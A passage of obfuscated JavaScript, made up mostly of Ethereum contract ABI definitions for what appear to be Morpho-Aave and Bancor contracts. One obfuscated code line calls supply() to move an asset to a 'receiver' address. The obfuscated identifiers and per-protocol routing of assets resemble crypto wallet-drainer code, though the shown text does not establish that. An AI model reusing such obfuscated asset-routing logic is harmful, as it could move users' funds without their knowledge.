name: "DefaultMaxGasForMatchingSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_entryPositionsManager",
type: "address"
}],
name: "EntryPositionsManagerSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_exitPositionsManager",
type: "address"
}],
name: "ExitPositionsManagerSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_interestRatesManager",
type: "address"
}],
name: "InterestRatesSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "IsBorrowPausedSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isDeprecated",
type: "bool"
}],
name: "IsDeprecatedSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "IsLiquidateBorrowPausedSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "IsLiquidateCollateralPausedSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "IsRepayPausedSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "IsSupplyPausedSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "IsWithdrawPausedSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "uint16",
name: "_reserveFactor",
type: "uint16"
}, {
indexed: false,
internalType: "uint16",
name: "_p2pIndexCursor",
type: "uint16"
}],
name: "MarketCreated",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "uint256",
name: "_newValue",
type: "uint256"
}],
name: "MaxSortedUsersSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "uint16",
name: "_newValue",
type: "uint16"
}],
name: "P2PIndexCursorSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "_isP2PDisabled",
type: "bool"
}],
name: "P2PStatusSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "uint16",
name: "_newValue",
type: "uint16"
}],
name: "ReserveFactorSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_poolToken",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "_amountClaimed",
type: "uint256"
}],
name: "ReserveFeeClaimed",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "_newTreasuryVaultAddress",
type: "address"
}],
name: "TreasuryVaultSet",
type: "event"
}, {
inputs: [],
name: "BORROWING_MASK",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "DEFAULT_LIQUIDATION_CLOSE_FACTOR",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "HEALTH_FACTOR_LIQUIDATION_THRESHOLD",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "MAX_BASIS_POINTS",
outputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "MAX_NB_OF_MARKETS",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "NO_REFERRAL_CODE",
outputs: [{
internalType: "uint8",
name: "",
type: "uint8"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "ONE",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "ST_ETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "ST_ETH_BASE_REBASE_INDEX",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "VARIABLE_INTEREST_MODE",
outputs: [{
internalType: "uint8",
name: "",
type: "uint8"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "aaveIncentivesController",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "addressesProvider",
outputs: [{
internalType: "contract ILendingPoolAddressesProvider",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "borrow",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}, {
internalType: "uint256",
name: "_maxGasForMatching",
type: "uint256"
}],
name: "borrow",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}, {
internalType: "address",
name: "",
type: "address"
}],
name: "borrowBalanceInOf",
outputs: [{
internalType: "uint256",
name: "inP2P",
type: "uint256"
}, {
internalType: "uint256",
name: "onPool",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "borrowMask",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "",
type: "address[]"
}, {
internalType: "bool",
name: "",
type: "bool"
}],
name: "claimRewards",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_poolTokens",
type: "address[]"
}, {
internalType: "uint256[]",
name: "_amounts",
type: "uint256[]"
}],
name: "claimToTreasury",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_underlyingToken",
type: "address"
}, {
internalType: "uint16",
name: "_reserveFactor",
type: "uint16"
}, {
internalType: "uint16",
name: "_p2pIndexCursor",
type: "uint16"
}],
name: "createMarket",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "defaultMaxGasForMatching",
outputs: [{
internalType: "uint64",
name: "supply",
type: "uint64"
}, {
internalType: "uint64",
name: "borrow",
type: "uint64"
}, {
internalType: "uint64",
name: "withdraw",
type: "uint64"
}, {
internalType: "uint64",
name: "repay",
type: "uint64"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "deltas",
outputs: [{
internalType: "uint256",
name: "p2pSupplyDelta",
type: "uint256"
}, {
internalType: "uint256",
name: "p2pBorrowDelta",
type: "uint256"
}, {
internalType: "uint256",
name: "p2pSupplyAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "p2pBorrowAmount",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "entryPositionsManager",
outputs: [{
internalType: "contract IEntryPositionsManager",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "exitPositionsManager",
outputs: [{
internalType: "contract IExitPositionsManager",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "enum Types.PositionType",
name: "_positionType",
type: "uint8"
}],
name: "getHead",
outputs: [{
internalType: "address",
name: "head",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getMarketsCreated",
outputs: [{
internalType: "address[]",
name: "",
type: "address[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "enum Types.PositionType",
name: "_positionType",
type: "uint8"
}, {
internalType: "address",
name: "_user",
type: "address"
}],
name: "getNext",
outputs: [{
internalType: "address",
name: "next",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "incentivesVault",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "increaseP2PDeltas",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IEntryPositionsManager",
name: "_entryPositionsManager",
type: "address"
}, {
internalType: "contract IExitPositionsManager",
name: "_exitPositionsManager",
type: "address"
}, {
internalType: "contract IInterestRatesManager",
name: "_interestRatesManager",
type: "address"
}, {
internalType: "contract ILendingPoolAddressesProvider",
name: "_lendingPoolAddressesProvider",
type: "address"
}, {
components: [{
internalType: "uint64",
name: "supply",
type: "uint64"
}, {
internalType: "uint64",
name: "borrow",
type: "uint64"
}, {
internalType: "uint64",
name: "withdraw",
type: "uint64"
}, {
internalType: "uint64",
name: "repay",
type: "uint64"
}],
internalType: "struct Types.MaxGasForMatching",
name: "_defaultMaxGasForMatching",
type: "tuple"
}, {
internalType: "uint256",
name: "_maxSortedUsers",
type: "uint256"
}],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "interestRatesManager",
outputs: [{
internalType: "contract IInterestRatesManager",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "isClaimRewardsPaused",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolTokenBorrowed",
type: "address"
}, {
internalType: "address",
name: "_poolTokenCollateral",
type: "address"
}, {
internalType: "address",
name: "_borrower",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "liquidate",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "market",
outputs: [{
internalType: "address",
name: "underlyingToken",
type: "address"
}, {
internalType: "uint16",
name: "reserveFactor",
type: "uint16"
}, {
internalType: "uint16",
name: "p2pIndexCursor",
type: "uint16"
}, {
internalType: "bool",
name: "isCreated",
type: "bool"
}, {
internalType: "bool",
name: "isPaused",
type: "bool"
}, {
internalType: "bool",
name: "isPartiallyPaused",
type: "bool"
}, {
internalType: "bool",
name: "isP2PDisabled",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "marketPauseStatus",
outputs: [{
internalType: "bool",
name: "isSupplyPaused",
type: "bool"
}, {
internalType: "bool",
name: "isBorrowPaused",
type: "bool"
}, {
internalType: "bool",
name: "isWithdrawPaused",
type: "bool"
}, {
internalType: "bool",
name: "isRepayPaused",
type: "bool"
}, {
internalType: "bool",
name: "isLiquidateCollateralPaused",
type: "bool"
}, {
internalType: "bool",
name: "isLiquidateBorrowPaused",
type: "bool"
}, {
internalType: "bool",
name: "isDeprecated",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "maxSortedUsers",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "owner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "p2pBorrowIndex",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "p2pSupplyIndex",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "pool",
outputs: [{
internalType: "contract ILendingPool",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "poolIndexes",
outputs: [{
internalType: "uint32",
name: "lastUpdateTimestamp",
type: "uint32"
}, {
internalType: "uint112",
name: "poolSupplyIndex",
type: "uint112"
}, {
internalType: "uint112",
name: "poolBorrowIndex",
type: "uint112"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "address",
name: "_onBehalf",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "repay",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "repay",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "rewardsManager",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
components: [{
internalType: "uint64",
name: "supply",
type: "uint64"
}, {
internalType: "uint64",
name: "borrow",
type: "uint64"
}, {
internalType: "uint64",
name: "withdraw",
type: "uint64"
}, {
internalType: "uint64",
name: "repay",
type: "uint64"
}],
internalType: "struct Types.MaxGasForMatching",
name: "_defaultMaxGasForMatching",
type: "tuple"
}],
name: "setDefaultMaxGasForMatching",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IEntryPositionsManager",
name: "_entryPositionsManager",
type: "address"
}],
name: "setEntryPositionsManager",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IExitPositionsManager",
name: "_exitPositionsManager",
type: "address"
}],
name: "setExitPositionsManager",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IInterestRatesManager",
name: "_interestRatesManager",
type: "address"
}],
name: "setInterestRatesManager",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "setIsBorrowPaused",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isDeprecated",
type: "bool"
}],
name: "setIsDeprecated",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "setIsLiquidateBorrowPaused",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "setIsLiquidateCollateralPaused",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isP2PDisabled",
type: "bool"
}],
name: "setIsP2PDisabled",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "setIsPausedForAllMarkets",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "setIsRepayPaused",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "setIsSupplyPaused",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "bool",
name: "_isPaused",
type: "bool"
}],
name: "setIsWithdrawPaused",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_newMaxSortedUsers",
type: "uint256"
}],
name: "setMaxSortedUsers",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint16",
name: "_p2pIndexCursor",
type: "uint16"
}],
name: "setP2PIndexCursor",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint16",
name: "_newReserveFactor",
type: "uint16"
}],
name: "setReserveFactor",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_treasuryVault",
type: "address"
}],
name: "setTreasuryVault",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "address",
name: "_onBehalf",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "address",
name: "_onBehalf",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}, {
internalType: "uint256",
name: "_maxGasForMatching",
type: "uint256"
}],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}, {
internalType: "address",
name: "",
type: "address"
}],
name: "supplyBalanceInOf",
outputs: [{
internalType: "uint256",
name: "inP2P",
type: "uint256"
}, {
internalType: "uint256",
name: "onPool",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "treasuryVault",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}],
name: "updateIndexes",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "userMarkets",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}, {
internalType: "address",
name: "_receiver",
type: "address"
}],
name: "withdraw",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_poolToken",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "withdraw",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}];
let _0x399f32 = new ethers.Contract(_0x2b7b1b, _0x46f5ef, _0x9d9505);
return [_0x399f32.supply(_0x4f37a4.asset.token, this.receiver, _0x4f37a4.asset.amount), ""];
}
case "Bancor":
{
let _0x1d7cf3 = [{
inputs: [{
internalType: "contract ITokenGovernance",
name: "initBNTGovernance",
type: "address"
}, {
internalType: "contract ITokenGovernance",
name: "initVBNTGovernance",
type: "address"
}, {
internalType: "contract INetworkSettings",
name: "initNetworkSettings",
type: "address"
}, {
internalType: "contract IMasterVault",
name: "initMasterVault",
type: "address"
}, {
internalType: "contract IExternalProtectionVault",
name: "initExternalProtectionVault",
type: "address"
}, {
internalType: "contract IPoolToken",
name: "initBNTPoolToken",
type: "address"
}, {
internalType: "address",
name: "bancorArbitrage",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "AccessDenied",
type: "error"
}, {
inputs: [],
name: "AlreadyExists",
type: "error"
}, {
inputs: [],
name: "AlreadyInitialized",
type: "error"
}, {
inputs: [],
name: "DeadlineExpired",
type: "error"
}, {
inputs: [],
name: "DepositingDisabled",
type: "error"
}, {
inputs: [],
name: "DoesNotExist",
type: "error"
}, {
inputs: [],
name: "InsufficientFlashLoanReturn",
type: "error"
}, {
inputs: [],
name: "InvalidAddress",
type: "error"
}, {
inputs: [],
name: "InvalidPool",
type: "error"
}, {
inputs: [],
name: "InvalidToken",
type: "error"
}, {
inputs: [],
name: "NativeTokenAmountMismatch",
type: "error"
}, {
inputs: [],
name: "NotEmpty",
type: "error"
}, {
inputs: [],
name: "NotWhitelisted",
type: "error"
}, {
inputs: [],
name: "Overflow",
type: "error"
}, {
inputs: [],
name: "ZeroValue",
type: "error"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "contract Token",
name: "token",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "borrower",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "feeAmount",
type: "uint256"
}],
name: "FlashLoanCompleted",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "contextId",
type: "bytes32"
}, {
indexed: true,
internalType: "contract Token",
name: "token",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "provider",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "availableAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "originalAmount",
type: "uint256"
}],
name: "FundsMigrated",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "caller",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "recipient",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "NetworkFeesWithdrawn",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "address",
name: "account",
type: "address"
}],
name: "Paused",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "contract Token",
name: "pool",
type: "address"
}, {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
}],
name: "PoolAdded",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint16",
name: "poolType",
type: "uint16"
}, {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
}],
name: "PoolCollectionAdded",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint16",
name: "poolType",
type: "uint16"
}, {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
}],
name: "PoolCollectionRemoved",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "contract Token",
name: "pool",
type: "address"
}, {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
}],
name: "PoolCreated",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "contract Token",
name: "pool",
type: "address"
}, {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
}],
name: "PoolRemoved",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
indexed: true,
internalType: "bytes32",
name: "previousAdminRole",
type: "bytes32"
}, {
indexed: true,
internalType: "bytes32",
name: "newAdminRole",
type: "bytes32"
}],
name: "RoleAdminChanged",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
indexed: true,
internalType: "address",
name: "account",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
}],
name: "RoleGranted",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
indexed: true,
internalType: "address",
name: "account",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
}],
name: "RoleRevoked",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "contextId",
type: "bytes32"
}, {
indexed: true,
internalType: "contract Token",
name: "sourceToken",
type: "address"
}, {
indexed: true,
internalType: "contract Token",
name: "targetToken",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "sourceAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "targetAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "bntAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "targetFeeAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "bntFeeAmount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "trader",
type: "address"
}],
name: "TokensTraded",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "address",
name: "account",
type: "address"
}],
name: "Unpaused",
type: "event"
}, {
inputs: [],
name: "DEFAULT_ADMIN_ROLE",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "id",
type: "uint256"
}],
name: "cancelWithdrawal",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "pool",
type: "address"
}],
name: "collectionByPool",
outputs: [{
internalType: "contract IPoolCollection",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract Token[]",
name: "tokens",
type: "address[]"
}, {
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
}],
name: "createPools",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "pool",
type: "address"
}, {
internalType: "uint256",
name: "tokenAmount",
type: "uint256"
}],
name: "deposit",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "provider",
type: "address"
}, {
internalType: "contract Token",
name: "pool",
type: "address"
}, {
internalType: "uint256",
name: "tokenAmount",
type: "uint256"
}],
name: "depositFor",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "depositingEnabled",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bool",
name: "status",
type: "bool"
}],
name: "enableDepositing",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "contract IFlashLoanRecipient",
name: "recipient",
type: "address"
}, {
internalType: "bytes",
name: "data",
type: "bytes"
}],
name: "flashLoan",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}],
name: "getRoleAdmin",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "uint256",
name: "index",
type: "uint256"
}],
name: "getRoleMember",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}],
name: "getRoleMemberCount",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "grantRole",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "hasRole",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract IPoolToken",
name: "poolToken",
type: "address"
}, {
internalType: "uint256",
name: "poolTokenAmount",
type: "uint256"
}],
name: "initWithdrawal",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IBNTPool",
name: "initBNTPool",
type: "address"
}, {
internalType: "contract IPendingWithdrawals",
name: "initPendingWithdrawals",
type: "address"
}, {
internalType: "contract IPoolMigrator",
name: "initPoolMigrator",
type: "address"
}],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "liquidityPools",
outputs: [{
internalType: "contract Token[]",
name: "",
type: "address[]"
}],
stateMutability: "view",
